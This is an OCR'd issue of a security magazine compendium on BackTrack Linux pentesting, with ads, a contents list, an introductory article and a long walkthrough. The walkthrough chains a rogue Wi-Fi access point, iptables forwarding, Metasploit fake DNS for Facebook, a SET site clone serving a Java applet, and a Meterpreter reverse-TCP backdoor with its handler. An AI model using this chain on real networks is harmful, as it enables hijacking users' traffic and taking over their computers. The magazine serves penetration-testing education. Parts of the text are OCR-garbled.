BackdirackdSet

A Crash Course in
Pentesting with Bactrack -

BackTrack 3: ' r

The Ultimate Security Toolkit -~ -
/

How to Use Backtrack and” -

Nessus for Vulnerability Management?

Backtrack Linux y
— How to Configure Wt
A Metasploit Development System"



Joe Security LLC

Automated Malware Analysis

Next Generation Sandbox System

Joe Sandbox is an automated, highly configurable and scalable malware analysis
system that provides extensive in-depth analysis reports to customers worldwide.

Technology Leader

Introducing Hybrid Code Analysis, Joe Security has developed a unique
algorithm that combines dynamic and static code analysis in an intelligent way.

Cross Platform

Joe Sandbox is the only fully-automated Sandbox System to support
Windows XP, Vista, W7, W7 x64 and Android platforms.

Quality Support and Consulting

With direct access to the developer team,
Joe Security provides excellent technical support and custom code to his customers.

J 0 m o Joe Security LLC
I L, A\ Hochbergerstrasse 60C swiss made
www.joesecurity.org 4057 Basel, Switzerland software



http://www.joesecurity.org

Joe Security LLC

Automated Malware Analysis

Introducing Joe Sandbox Mobile!

The new solution for in-depth malware analysis on Android based systems.
Using Hybrid Code Analysis, static and dynamic analysis is combined in a clever way.

Powerful Instrumentation Engine

The highly-configurable, generic Instrumentation Engine not only analyzes
System API calls, but any function matching specified signatures up to parameter level.

Generic Behavior Signatures

Providing an open interface and a solid initial set of generic behavior signatures,
application activity is abstracted into well-formatted report data.

Free Services Available Online

All of Joe Security’s Sandbox Systems are available as free web services at
apk-analyzer.net, file-analyzer.net, url-analyzer.net and document-analyzer.net

J 0 m v Joe Security LLC
[ Hochbergerstrasse 60C ... ...,
www.joesecurity.org 4057 Basel, Switzerland software


http://www.joesecurity.org

HARINS

HAaRINS

team
Editor in Chief: Radoslaw Sawicki
radoslaw.sawicki@hakin9.org

Editorial Advisory Board: Peter Harmsen, John
Webb, Dan Smith, Hans van Beek, Leighton Johnson,
Gareth Watters, Sushil Verma, Jose Ruiz, Casey
Parman, Wendy Bennington, Liew Edwin.

Proofreaders: Krzysztof Krokwa, Krzysztof Samborski

Special Thanks to the Beta testers and Proofreaders
who helped us with this issue. Without their assistance
there would not be a Hakin9 magazine.

Senior Consultant/Publisher: Pawet Marciniak

CEO: Ewa Dudzic
ewa.dudzic@hakin9.org

Product Manager: Krzysztof Samborski
krzysztof.samborski@hakin9.org

Production Director: Andrzej Kuca
andrzej.kuca@hakin9.org

Marketing Director: Radoslaw Sawicki
radoslaw.sawicki@hakin9.org

DTP: Ireneusz Pogroszewski
Art Director: Ireneusz Pogroszewski
ireneusz.pogroszewski@software.com.pl

Publisher: Hakin9 Media sp. z 0.0. SK
02-676 Warszawa, ul. Postepu 17D
Phone: 1 917 338 3631
www.hakin9.org

Whilst every effort has been made to ensure the
highest quality of the magazine, the editors make no
warranty, expressed or implied, concerning the results
of the content’s usage. All trademarks presented in the
magazine were used for informative purposes only.

All rights to trade marks presented in the magazine
are reserved by the companies which own them.

DISCLAIMER!

The techniques described in our

articles may only be used in private,

local networks. The editors hold no
responsibility for misuse of the presented
techniques or consequent data loss.

HaRINg

PRACTICAL PROTECTION IT SECURITY MAGAZINE

Dear Readers,

e are happy to tell you that our current edition con-

cerns on the most known IT security linux distro —

BackTrack. We decided this time to pick up the best
articles and publish them as Compendium devoted to the topic
of pentesting.

We hope these 20 articles which you will find inside the is-
sue will help you start with pentesting and then, develop your

skills further. We are sure that after reading it you will start your
journey as a professional penetration tester.

As always Hakin9's Editorial Team would like to give very
special thanks to the authors, betatesters and proofreaders
— without these great people our Magazine would not exist.

We hope the BackTrack Compendium issue will appeal to
you. Enjoy the magazine!

Regards,

Radoslaw Sawicki
Editor of Hakin9 Magazine

and the Hakin9 Team
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By William F. Slater, Il

This article is a brief introduction to Backtrack Linux. This
distribution has quickly risen to the position of becoming
the de facto hacker’s tool for network infrastructures.
This article is not a BackTrack user guide, nor is it a
User Guide for any or all the tools that are available in
BackTrack Linux.
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By Alex Soler Alvarez, an Information Security,
Engineer with around 6 years of experience
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stealing their credentials or compromising their
computers. Thinking that only browsing well-known
websites and avoiding reaching a suspicious one they
are safe, but this is not really true. Using specialized
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a scenario where any user with a device, which can be
connected to the Internet, could be affected.
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so what do you need? Let's see
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internal as well as external threat agents, at the request
of the owner. A threat agent could be an employee
making unintentional mistakes that can compromise
the integrity of the information, or a hacker sending
malware through unfiltered/open ports on the firewall.
A pen-test emulates the same techniques an attacker
would use, and therefore it should align with the latest
hacking methodologies. Organizations perform this to
determine the effectiveness of their security measures.
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By Nick Hensley, CISSP, Information Security
Professional with 12 years of industry experience
In this article we will give you a crash course in
pentesting. This article is meant to be a basis or primer
if you wish; it will teach you what a penetration test is
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what you need to be aware of, what to look for, and
how to get started. That being said, this is not a “how to
hack” article that will teach you how to break into some
unsuspecting company’s website and further penetrate
their internal infrastructure.

Backtack Linux — How to Ditch the Menu
and Ball from the Command Line? 46
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In the text to follow | provide quick examples of various
tools available from the command line in Backtrack
Linux. The Backtrack menus already provide an
overwhelming amount of tools that will allow you to
accomplish almost anything you need in a penetration
test or security audit. However, if you never get past the
Backtrack menu system, you will be doing yourself a
huge disservice. If you want to advance to the next level
in your career break away from the norm and explore.
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By Piyush Verma, CompTIA Security+, CEH v8,
ECSA|LPT, CHFI v8, Advanced PenTesting with
BackTrack

PenTesting, short for penetration testing, is a technique
used for evaluating the security posture of systems,
applications and network of an organization from
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By Dusko Pijetlovic

When you are faced with a task of testing your production
environment and strengthening your defenses, your
choice of the tool is easy. Instead of concentrating on
collecting penetration (pen) testing tools, just head to
BackTrack website and download an image of one
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of the most popular white hat penetration testing and
security auditing platforms. It's #7 on the sectools.org
Top 125 Security Tools list.

BackTrack 5 Toolkit Tutorial 66

By Vikas Kumar

BackTrack is an operating system based on the Ubuntu
GNU/Linux distribution aimed at digital forensics and
penetration testing use. It is named after backtracking,
a search algorithm. The current version is BackTrack 5,
code name “Revolution.”
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By Steve Myers

In the security world today, a security professional
relies heavily on knowing the right tools for the job, and
knowing how to use these tools. There are hundreds of
tools available and the list of tools is constantly changing
and growing. For security assessments and penetration
testing, there are very few toolkits as actively supported
and all-encompassing as BackTrack 5.

Backtrack 5 Practical Applications
and Use Cases

96

By Nicholas Popovich

This article breaks down what Backtrack Linux is, with
a brief description and history. Then, we’ll explore a
sampling of some of the many tools that are packaged
within Backtrack Linux and provide use cases along
with step-by-step tutorials to demonstrate some of the
more common tasks that Backtrack is used to perform.
Finally, we'll see how most of the tools and techniques
that Backtrack is designed to facilitate can be used by
the many different roles in the IT security field.

BackTracking in Wifi Country 106

By Dennis King

The BackTrack 5 distribution continues to be the “go to”
tool in a security professional’s arsenal. With the latest
release, “Revolution,” the Backtrack development team
delivers a kit you can use anywhere on both light and
heavy duty security tasks.
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How to Use Backtrack and Nessus for
Vulnerability Management?

114

By Guglielmo Scaiola

Ethical Hacking and Penetration Testing are fun but
what’s the business value of these activities?What's the
reason that motivates a manager to pay us to hack their
network? What'’s the ultimate goal? | believe that this is
possible only for a reason that penetration testing is part
of the vulnerability management process. This process
is the key of enterprise security.

Using Hydra

To Crack The Door Open 120

By Nikolaos Mitropoulos

Take advantage of a cracking tool to test the resilience
of your local or remote network servers and various
other devices from a computer to router on the network.

Backtrack Linux — How to Configure
a Metasploit Development System?

126

By Royce Davis

This article details the necessary steps to get off the
ground and running full speed with Backtrack as a
developmental platform for the awesome Metasploit
Framework. Throughout the next few pages | will
describe in step-by-step fashion all of the proper
settings to install and configure the tools that | find to
be most useful when building extensions to the already
expansive Metasploit Framework. The following
topics will be covered: The Ruby Versioning Manager
(RVM), Git & The Github, Vim Basic Operations, Vim
Configuration & Plugins, The Anatomy of a Metasploit
Module, Navigating the Metasploit Framework and
submitting your module to the rapid7 dev team for
merger into the framework.

Use Metasploit in Backtrack 5 134
By Johan Loos
Metasploit comes in several flavors: Metasploit

framework, Metasploit community edition, Metasploit
pro. In Backtrack 5, Metasploit framework is installed
by default. Metasploit framework provides you with
information on security vulnerabilities which can be
used to exploit a system. Penetration testers can also
use this tool to launch manual or automated scans.
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By Aditya Gupta

In this article, we will be looking into the practical usage
of Backtrack, and its tools. The article is divided into
three sections —Android Exploitation through Metasploit,
Nikto Vulnerability Scanner and w3af. The reader is
expected to have basic knowledge of Backtrack and
familiar with common web application vulnerabilities.

Nmap: For Newbies

148

By Andrew Jones

As a former Network Warfare Instructor for the US Air
Force, | get asked a lot of questions: among the most
common is what did you teach, or can you not talk about
it? The simple answer is | taught a subset of Air Force
Doctrine known as Network Defense, or NetD for short.

Metasploit — How to Play
with Smb and Authentication

152

By Guglielmo Scaiola

In my experience a lot of infrastructures have two big
problems, they are using local admin credential with the
same password in some or all systems of the network
and maintain some servers (or clients) unpatched, with
these two common mistakes we can completely Pown
the infrastructure. Two pillars of best practices are just
patching and a different password for local admin for
each host and it is possible to retrieve a lot of best

practices from the Internet and in many books about
security architecture, but a lot of system admin don’t use
them, why? In most case because the system admins
are uneducated in security, or because they are lazy, or
because they are too busy.

How to use Sqlploit 158

By George Karpouzas

Databases nowdays are everywhere, from the smallest
desktop applications to the largest web sites such as
Facebook. Critical business information are stored
in database servers that are often poorly secured.
Someone with access to this information could
have control over a company’s or an organization’s
infrastructure.

How to Use The Mac OS X Hackers
Toolbox

168

By Phillip Wylie

When you think of an operating system to run pen
testing tools on, you probably think of Linux and more
specifically BackTrack Linux. BackTrack Linux is a
great option and one of the most common platforms for
running pen testing tools. If you are a Mac user, then you
would most likely run a virtual machine of BackTrack
Linux. While this a great option, sometimes it is nice to
have your tools running on the native operating system
of your computer.
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Why Do Hackers Use

Backtrack?

This article is a brief introduction to Backtrack Linux. This
distribution has quickly risen to the position of becoming
the de facto hacker’s tool for network infrastructures. This
article is not a BackTrack user guide, nor is it a User Guide for
any or all the tools that are available in BackTrack Linux.

ather, | am going to explain in general
terms why BackTrack has become a best
of breed hacker tool and some useful ways

that you can use it to help make your organization
more secure.

First a Quick Disclaimer

Though | consider myself a hacker like many
of you, | think of myself as more of a very well-
rounded cybersecurity professional who is out to
educate and do good in the Internet and cyberse-
curity universe. In fact, due to my affiliation with
several professional IT and IT security organiza-
tions, | am bound by several codes of conduct
and/or codes of ethics to conduct myself ethically
at all times. Therefore, though | can tell you about
the uses of Backtrack, | have to be extreme-
ly careful to admonish you that 1) | am not do-
ing blackhat hacking with the tools included with
BackTrack; and 2) you can get yourself into real
trouble (legally and criminally) using the tools that
are included with Backtrack.

Strong Advice

Also, as a cybersecurity professional who has sev-
eral certifications related to security and will com-
plete an M.S. in Cybersecurity in March 2013, |
am also obliged to explain to you that you should
NEVER engage in any activities related to hacking
on a network (reconnaissance or penetration or
otherwise) without the explicit written permission
of the owner of the network. Without this critical
step, if you are in the U.S. and several other coun-
tries with well-defined computer laws, you are sub-
jecting yourself to a world of troubles involving civil
penalties, criminal penalties, or both.
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<)

What Is BackTrack?

BackTrack is a Linux distribution that is packaged
with several standard network security hacker and
exploitation tools.

Who Makes BackTrack?

BackTrack is assembled and packaged under the
GNU Public Software License by Mati Aharoni,
Emanuele Gentili, and others.

Where Do You Get BackTrack?

The easiest place to obtain BackTrack is to down-
load it from the website at http://www.backtrack-
linux.org. But you can also purchase it from places
like Amazon, eBay, etc. Make sure when you ob-
tain BackTrack from a place that is different from
the original BackTrack website that you pay close
attention to the version number that they are sell-
ing you. Otherwise, you may end up receiving an
older version.

Backtrack is also included in this text: Hands-
On Ethical Hacking and Network Defense, second
edition, by Michael T. Simpson, et al, but since this
book was published in 2011, it includes an older
version of BackTrack.

What's In BackTrack?
BackTrack includes a great array of tools that can
be used to assess the vulnerabilities that are pres-
ent in an organization’s network. The current edi-
tion of BackTrack, version 5 release 3, dated Au-
gust 13, 2012 (Table 1).

BackTrack Platforms - Where does it run?

Presently, BackTrack is confined to these CPU
platforms: x86, x64, and ARM.
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Using Backtrack

When you obtain BackTrack, if you have you the

resources, you can install it to a virtual machine.
Other run options include:

+ Execution from a Live (Bootable) DVD (Config-
ure your CMOS to go to the DVD Drive First)

» Execution from a Live (Bootable) USB Config-
ure your CMOS to go to the USB Drive First)

* Installation in a dual-boot configuration on an
existing laptop or PC

* Installation on a Spare Laptop or PC Workstation

Why BackTrack?

What Are the Advantages of Using BackTrack?
The really nice think about BackTrack is that it in-
cludes some of the most commonly used tools for
identification of vulnerabilities and hacking. It's al-
so free if you download it, and easy to obtain, and
relatively easy to use, once you master the basic
uses of the tools that it includes.

What Are the Disadvantages of Using
BackTrack?

There are a few disadvantages to using BackTrack
and you should be aware of these:

* Because each of the tools that are included
with Backtrack are constantly being examined
and improved by their respective publishers,
then a BackTrack version can easily become
outdated when a tool is revised.

» Using BackTrack may provide you and/or orga-
nization with a false sense of security because
BackTrack is not the ultimate set of hacker
tools. There are many more tool suites with far
more powerful capabilities. Nevertheless it is
extremely powerful for something that is free or
almost free, depending on where you get it.

* Like any group of free tools, each of these
tools has its limitations. If you want a better
class of tools for vulnerability analysis and/or
forensic analysis, you will ultimately pay for it
or have to request that your organization does
the analysis and pays for it.

* If you are caught sneaking around and using
BackTrack without authorization, don’t be sur-
prised if your management and/or your orga-
nization’s Security Team think the worst about
your activities and the nature of your intentions.
Once upon a time, back in the 1970s, there
were people whose homes might be searched
on suspicion of crimes such as illegal drug
possession. If during a court-ordered search,
a copy of the Anarchist’'s Cookbook was iden-
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Why Do Hackers Use Backtrack?

tified, in a person’s home, the law enforcement
authorities would treat the person and the situ-
ation in a much more hostile manner, assum-
ing the worst. Those sneaking an unauthorized
copy of BackTrack into an organization on a
DVD or a USB, or secretly installing it on a lap-
top or virtual machine may experience similar
treatment.

What Are the Best BackTrack Resources?

| have included an extensive list of resources at
the back of this article, and while many of these
are related to hacking and penetration testing, to
save you time, | will share the very best BackTrack
in the list below:

+ Allen, L. (2012). Advanced Penetration Testing for
Highly-Secured Environments: The Ultimate Se-
curity Guide. Birmingham, UK: Packt Publishing.

* Faircloth, J. (2011). Penetration Tester’s Open
Source Toolkit, third edition. Waltham, MA:
Syngress.

* Harper, A,, et al. (2011). Gray Hat Hacking: The
Ethical Hacker’'s Handbook third edition. New
York, NY: McGrawHill.

Table 1. Tools and their usage

Use

Metasploit for  Integration of attack scenarios

integration

RFMON Injection capable wireless drivers

Aircrack-ng Cracking user passwords on wireless
networks

Gerix Wifi Cracking user passwords on wireless

Cracker networks

Kismet Wardriving and wireless network vul-
nerability identification

Nmap Port scanning and stealth port scanning

Ophcrack Cracking user passwords on wireless
networks

Ettercap Setting up man-in-the-middle attacks
for network eavesdropping

Wireshark (for-  Packet capture, inspection and ad-

merly known  vanced analysis.

as Ethereal)

BeEF (Browser Exploitation Framework) Tool
to identify browser vulnerabilities to
assess the security posture of a target.

Hydra Password cracker for browsers

OWASP Mantra A collection of hacking tools, add-

Security Frame- ons and scripts based on the Firefox

work browser

Cisco OCS Mass  This is a very reliable, high perfor-

Scanner mance scanner for Cisco routers that

includes telnet
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* Prichett, W. and Smet, D. D. (2012). Backtrack
5 Cookbook: Over 80 recipes to execute many
of the best known and little known penetration
testing aspects of BackTrack 5. Birmingham,
UK: Packt Publishing.

* Ramachandran, V. (2011). BackTrack Wireless
Penetration Texting: Mastering bleeding edge
wireless testing techniques with BackTrack 5.
Birmingham, UK: Packt Publishing.

+ Simpson, M. T,, et al. (2011). Hands-On Ethical
Hacking and Network Defense. Boston, MA:
Course Technology.

» Singh, A. (2012). Metasploit Penetration Test-
ing Cookbook: Over 70 Recipes to master the
most widely used penetration testing frame-
work. Birmingham, UK: Packt Publishing.

Are Penetration Tests a Good Thing?

Yes. Absolutely penetration tests are a good thing
because they will help you identify network and
software vulnerabilities that must be remediated
using security controls, so that you can resolve the
problems before the bad guys get into to your com-
pany's IT infrastructure. Penetration tests are valu-
able for several reasons:

» Determining the feasibility of a particular set of
attack vectors (Wikipedia, 2013).

+ Identifying higher-risk vulnerabilities that result
from a combination of lower-risk vulnerabilities ex-
ploited in a particular sequence (Wikipedia, 2013).

* Identifying vulnerabilities that may be difficult
or impossible to detect with automated network
or application vulnerability scanning software
(Wikipedia, 2013).

+ Assessing the magnitude of potential business
and operational impacts of successful attacks
(Wikipedia, 2013).

» Testing the ability of network defenders to suc-
cessfully detect and respond to the attacks
(Wikipedia, 2013).

* Providing evidence to support increased in-
vestments in security personnel and technolo-
gy (Wikipedia, 2013).

* Penetration tests are a component of a full secu-
rity audit. For example, the Payment Card Indus-
try Data Security Standard (PCI DSS), and se-
curity and auditing standard, requires both annu-
al and ongoing penetration testing after system
changes to identify potential vulnerabilities and/or
configuration anomalies (Wikipedia, 2013).

Adopting a framework

Penetration tests are best planning and performed
as projects. If you plan to use BackTrack as your
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toolkit of choice for whitehat or grayhat penetra-
tion testing on your company's infrastructure, be-
sides obtaining permission for the actual hacking
process, you will probably want to study, adopt and
use one of a couple of well-defined open frame-
works for penetration testing. In this way, your or-
ganization’s leadership will recognize that you are
taking a professional approach to your penetration
testing to uncover one or more vulnerabilities that
may exist in your infrastructure and/or in the users
that access and user the infrastructure to use your
organization’s networked resources.

Conclusions

BackTrack Linux and its associated tool suite is a
valuable tool that can help you make your compa-
ny's IT infrastructure more secure if you will care-
fully and systematically address the vulnerabilities
identified by tools like NMAP and Kismet. In the
hands of bad guys (you know that bad guys have
BackTrack and use it also) you can be sure that it
is a formidable tool for reconnaissance and actu-
al penetration testing. It is best to find and fix your
own vulnerabilities before the bad guys find and ex-
ploit your vulnerabilities and commit acts like data
theft, sabotage, and/or espionage on your network.
Again, my advice is to get BackTrack, research,
learn and adopt a formal penetration testing meth-
odology, and ALWAYS get written permission to
conduct the operations that BackTrack and its tools
will easily allow you to do. In fact, because the mere
existence of BackTrack on your network can repre-
sent a threat to your IT Security Department, you
should also obtain written permission to bring it in-
to the company and install it. Finally, if you do get
BackTrack, take the time to learn how use the tools
that are packaged with Backtrack and keep them
updated, because as everyone knows, tools that
are current perform better and constitute less of a
security threat to the person using the tool.

WILLIAM F. SLATER, 1l

William F. Slater, Ill is an IT security profes-
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Most people feel safe browsing through the Internet and don't
imagine that they could be at risk from someone, stealing his
credentials or compromising their computers. Thinking that
only browsing well-known websites and avoiding reaching a
suspicious one they are safe, but this is not really true. Using
specialized pentesting tools, most of them included in a
penetration testing distribution called Backtrack 5, you can
design a scenario where any user with a device, which can be
connected to the Internet, could be affected.

penetration test, occasionally called pen-
Atest, is a method of evaluating computer

and network security by simulating an at-
tack on a computer system or network from ex-
ternal and internal threats. Generally speaking, a
penetration test involves for example a website,
a group of servers, or a network, etc... Howev-
er, there is another important point to consider
inside the security assessment of an organiza-
tion: users. In the context of information secu-
rity, the art of manipulating people into perform-
ing actions or divulging confidential information is
called “social engineering”.

In this article | would like to introduce you to some
pentesting tools included in Backtrack 5 by design-
ing a scenario whereby a user could be compro-
mised, getting access to his information, whilst on-
ly being connected to a wireless network. First of
all, we will create a wireless network and intercept
all the communications generated by the users
connected. After that, we will manipulate the traf-
fic to redirect the web communications of the us-
er through our network to a web server under our
control. The web server will serve malicious code
to the victim that will open a connection between
our machine and the victim and whereby we will
gain control of his computer.

Summary of the process:

- HaRINS

<)

+ We will create a network via a rogue access
point that creates a wireless network with a
DHCP server to serve the IP addresses.

» After that we will manipulate the DNS queries
going through the network via a rogue DNS
server under our control.

+ We will redirect the web requests going to
some websites to a web server under our con-
trol. The web server will clone the website the
user is connecting to, embedding malicious
code to open a connection between the victim
and the attacker.

* Finally, we will have complete control over the
victim’s machine.

See Figure 1 to see all the elements that will take
part in our scenario.

The process seems complex but, don’t worry, we
will go step-by-step through this article, splitting
up the process into the four main parts needed to
reach our objective: man-in-the-middle through a
wireless configuration, DNS spoofing, social engi-
neering through the web, and take control through
a command & control server.

Prerequisites

Before you continue reading this article, make
sure you are familiar with Linux systems a little

TBO 03/2013



How Anyone Can Be Compromised

and have used common commands from the com-
mand line. Along this article, all the tools used are
integrated inside the penetration testing distribu-
tion called Backtrack 5 (You can download it here:
http.//www.backtrack-linux.org/), so you also need
to download it. In the other part, we will use a wire-
less antenna, specifically “Alfa AWUS036H” with
a Realtek (RTL8187L) chipset, but you can use
others compatible with the aircrack-ng (Compati-
biliy information: http.//www.aircrack-ng.org/doku.
php?id=compatibility _drivers) tool suite.

Man-in-the-middle on wireless
A man-in-the-middle attack is a form of active
eavesdropping in which the attacker makes in-
dependent connections with the victim and re-
lays messages between the user affected and
other networks (for example the Internet), al-
lowing the attacker to intercept and manipulate
them. At this point we want to create an open
wifi network (known as a rogue access point) to
tease users to connect to our network and inter-
cept their communications.

We will use the aircrack-ng tool suite to create
our rogue access point, specifically a tool called

Y

Figure 2. Wireless driver loaded

airbase-ng, and a wireless antenna supported for
this purpose. So first of all you should check if the
driver of your antenna is loaded into the kernel of
the system using the 1smoda command. In our case
the driver used is RTL8187 (Figure 2).

As you can see in Figure 3, the wireless card is
named wi1ano and the network card connected to
the Internet is named eths.

Once we have checked the connection of the net-
work card, we need to change its working mode to
monitor mode. The monitor mode (known as RF-
MON) allows a wireless network interface to pro-
cess all traffic received from the wireless network.
Change your network interface to monitor mode
with the tool airmon-ng as you see in Figure 4.

As you can see in Figure 4, there is a process
(dhclient) that conflicts with the interface. | recom-
mend that you Kkill the process before putting the

Attacker

Communications intercepted

Communications bypassed

e Victim ] bl

\
\

P N

Figure 1. Attack scheme
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Figure 3. Listing the network interfaces

Figure 4. Enabling mode monitor the wireless network
interface wlan0

¥ root@bt: ~

Figure 5. Enabling mode monitor the wireless network
interface wlan0

Y 9

b Attacker
i,

interface in monitor mode. Note as well at the end
of the command how | define the channel used for
the wireless communications.

Once the interface is in monitor mode, a virtual
interface called mono is created. We should use it to
create the rogue access point using the airbase-ng
command (Figure 5).

Using the flag -c we indicate the channel used
(channel 9 as we did on the airmon-ng command)
and with the flag --essid we can define the name of
the wireless network created.

It is important to note that airbase-ng, when run,
creates an interface ato (tap interface). So we
should use this tap interface as the wireless inter-
face of our software-based access point.

The next step is to create a fake network
(172.16.0.0/24 in the example) that the user will use
once it is connected to the rogue access point and
forward the traffic to the wired network connected to
the Internet (Figure 6). For this purpose we will use
Linux iptables (For more information: http:/linux.
die.net/man/8/iptables) to do the next step:

* Accept the traffic that comes to the tap inter-
face (at0) with a source address inside our fake
network.

iptables -A INPUT -s 172.16.0.0/24 -i at0 -j
ACCEPT

* Translate the source address that comes from
the tap interface (ato0) to an address that be-
longs to the wired network (etn3).

iptables -t nat -A POSTROUTING -o eth3 -j
MASQUERADE

After that, we only need to enable the IPv4 For-
warding in the Linux kernel, so that routing and

Figure 6. Man-in-the-middle via a wireless network

Internet
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packet forwarding can happen correctly, and en-
able the tap interface with an IP address:

echo “1” > /proc/sys/net/ipvé4/ip forward
ifconfig at0 172.16.0.1 netmask 255.255.255.0 up

Finally, we only need a DHCP server to offer au-
tomatically an IP address to any user connected
to our fake network, using the DHCP server that
comes with Backtrack 5. Modify the file /etc/dncps/
dhep.cont With the following: Listing 1.

Don’t mind the details of the configuration file.
The only important thing to consider is that we
have configured the network address of the fake
network to use (172.16.0.0/24) and the default
gateway the address of our wireless interface
(172.16.0.1).

And define the listen interface on the file /etc/
default/dhcp3-server ON the tap interface (ato): List-
ing 2. Starting the service of the DHCP server, the
users will be able to connect to the Internet through

Listing 1. DHCP server configuration file

option domain-name-servers 172.16.0.1;
default-lease-time 60;

max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local’;

subnet 172.16.0.0 netmask 255.255.255.0 ({

range 172.16.0.100 172.16.0.150;
option routers 172.16.0.1;
option domain-name-servers 172.16.0.1;

}

Listing 2. DHCP server interface configuration file

# Defaults for dhcp initscript
# sourced by /etc/init.d/dhcp
# installed at /etc/default/dhcp3-server by

the maintainer scripts
This is a POSIX shell fragment

# On what interfaces should the DHCP server
(dhcpd) serve DHCP requests?

# Separate multiple interfaces with spaces,
e.g. “eth0 ethl”.

INTERFACES=

www.hakin9.org/en @
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the rogue access point (Figure 7). After following
the previous steps, you should have a rogue ac-
cess point with automatic IP leasing and a fake
network connected to the Internet through a wired
network (eth3 in the example).

DNS spoofing (or DNS cache poisoning) is a com-
puter hacking attack, whereby the name server to
return an IP address different from the real one,
diverting traffic to another computer. In our scenar-
io, we will do a DNS spoofing using a fake DNS
server with the address of our rogue access point
and intercept the name server resolutions, return-
ing the IP address of our fake web server on spe-
cific domains.

The Metasploit Project is a computer security
project that helps in penetration testing tasks and
security vulnerability assessments. Using a modu-
lar approach, it is composed of exploits and useful
modules for a lot of different purposes. At this point
we will use the Metasploit that comes with Back-
track 5 to create our fake DNS server (Figure 8).

Figure 7. Starting the DHCP service

Figure 8. Starting Metasploit Framework

Figure 9. Configuring the fake DNS module

s HAaRIMS

After starting the Metasploit Framework with the
command msfconsole, you need to select the mod-
ule to use with the use command. In this case, the
module to create a fake DNS server is auxiliary/
server/fakedns. Once selected, use the command
“show options” to see the parameters you should
configure.

As you can see in Figure 9, the parameters to
configure are the following:

+ SRVHOST: IP address of the tap interface
used by the rogue access point. (172.16.0.1 in
the example)

+ SRVPORT: Server port used by the DNS que-
ries. Generally speaking it will be port 53.

* TARGETACTION: The action to take, you
should use FAKE.

« TARGETDOMAIN: The domain to hijack. In the
example we will use “www.facebook.com”.

+ TARGETHOST: The address where all hi-
jacked queries will be redirected. In our sce-
nario it will be the address of our web server.
(172.16.0.1 as well)

Note in Figure 10 that using the command set
<VARIABLE> <VALUE> YOU can modify the parameters
of the module.

| recommend modifying the rogconso1e parameter
to a true value to see all the DNS queries that are

Figure 10. Modify the parameters of the fake DNS module

Figure 11. Enabling output verbosity

Figure 12. Fake DNS server running

<)
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resolved using our fake DNS server (Figure 11).
Now you can run the server typing “run” on the
Metasploit console (Figure 12).

After that, all the web requests done to “www.
facebook.com” by a user connected to our wire-
less network will be redirected to our fake web
server that we will configure on the next section.

If you followed the tutorial in the previous sections,
you only need to configure the web server to re-
ceive the intercepted requests and to send the ma-
licious code to create a connection between you
and the victim to take control of his computer. We
will use the Social Engineering Toolkit (known as
SET) for that purpose. It is an open source Python-
driven tool aimed at penetration testing around so-
cial engineering attacks.

We will use SET to clone a website (Facebook
in our case) and to send a Java Applet that it will
open the connection between the attacker and the
victim. First of all, execute SET typing /pentest/

@bt: /pentest/exploits/set
File Edit View Terminal Help

kit (SET
ReL1k

Figure 13. SET main window

Figure 14. SET Social-Engineering attacks
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exploits/set/set” (Figure 13). Press “1” and the
ENTER key to select Social-Engineering attacks
(Figure 14).

You will be able to do a lot of different social en-
gineering attacks with SET, but we will focus on the
Website Attacks, so press “2” and after that, press
“1” to select “Java Applet Attack Method”. As you
can see, it is very easy to configure the tool, you
just need to know what you want to do.

In this scenario we will clone a website, so choose
the option (Site Cloner) and as you see in Figure
15, configure the IP/hostname for the reverse con-
nection (172.16.0.1) and the URL to clone (www.
facebook.com).

The next step is to select the malicious code to
serve to the victim. With SET, it is possible to con-
figure everything automatically only selecting the
right options. But for educational purposes, we will
create our own executable. Therefore, before con-
tinuing with SET, we will create the executable us-

< ¥ rootdbt /pentestexploits/set
Vi erminal Help

Figure 15. SET main window

~ v ¥ root@bt: ~
File Edit View Terminal Help

Figure 16. Creating a malicious payload with Msfpayload

3 payload inte clened website

Figure 17. Adding the malicious payload
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ing the Metasploit Framework. We will do it with
the msfpayload command as you can see on Fig-
ure 16. You should indicate on LHOST the IP ad-
dress of the C&C server that we will use, in our
scenario the IP address of the tap interface, and
the port used to connect. The C&C server is re-
sponsible for sending commands, taking control of
the victim’s computer. Note | am saving the execut-
able on the path /root/backdoor. exe.

On the example | am using a payload called “Me-
terpreter”. It is a flexible Metasploit shell that offers
a whole new environment to do a lot of pre-defined
tasks in the victim’s computer.

At this point, we can come back to SET and select
the option “Import your own executable” to select
our binary as the payload of our cloned web page.

Now we have the fake web server listening on
port 80 and waiting for a user to connect.

At the end, the last step is to configure the Com-
mand and Control server (known as C&C) to re-
ceive the victim’'s connection and take control of
his computer. We use the Metasploit Framework
to open a port on the attacker machine (port 4444

v v % root@bt: ~

File Edit View Terminal Help

Figure 18. Creating the C&C server
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Figure 20. Meterpreter session opened
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on the example) and you just wait for a user to get
caught. This is possible using the module expioit/
multi/handler taking into account the following:

* PAYLOAD: you should use the same payload
as on the creation of the executable (windows/
meterpreter/reverse _ tcp)

* LPORT: The port used for the connection (port
4444)

* LHOST: The IP address of the C&C server (IP
address of the tap interface)

Once a user accesses our fake network and ac-
cesses www.facebook.com, a warning triggered
by the applet is shown on the screen, as you can
see in Figure 19. Note that the website seems real
because of the domain used for it.

If the user accepts the execution of the applet (it
is a high percentage of people that use an unknown
open wireless network), then you have a meterpret-
er session opened between your computer and the
victim. Afterwards SET will redirect the user to the
real website to avoid being detected.

At this point you have complete access to their
computer with the rights of the user logged in. Use
the “help” command inside the meterpreter shell to
know how to use it. Have fun!

In this article, we have seen a good example of a
compromise scenario by only using a kit of tools
included in Backtrack 5. Now you know that every-
one can be compromised, especially people ignor-
ing security aspects of using technology; for ex-
ample, being connected to an open and insecure
wireless network. And the most important thing,
how easy it is.

ALEX SOLER
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Abraham Lincoln said "Give me six hours to chop down a tree
and | will spend the first four sharpening the axe".
This is really the basic concept and the start point of every

penetration test.

by gathering information. The more you obtain
the more surface to attack you will have.

The gathering phase isn’t the more exciting one,
but surely it is the one that lets you make things bet-
ter and smarter, so what do you need? Let’s see.

First you need an adequate system with the right
toolkit and a little of knowledge of how they work.
We will use one of the latest version of BackTrack
(BT) because it is a powerful and widespread op-
erating system, so it will be quite simple to get sup-
port or tutorials on the Web: Youtube has a video
for almost all the BT tools.

The best way to start with BT is virtualization: you
can download its virtual machine ready to be start-
ed. In addition, with virtualization you can easily
start a cheap and smart lab to perform your tests
in. If you already have a test network, you can also
use the bootable CD.

Next you have to be calm and patient, only in this
way you can collect information and inspect it cor-
rectly. You can make your own checklist of tests
to do or copy one from the Web, but, when you
have your list, you have to follow it meticulously.
Remember that you are sharpening.

Now you need to write down all the data you col-
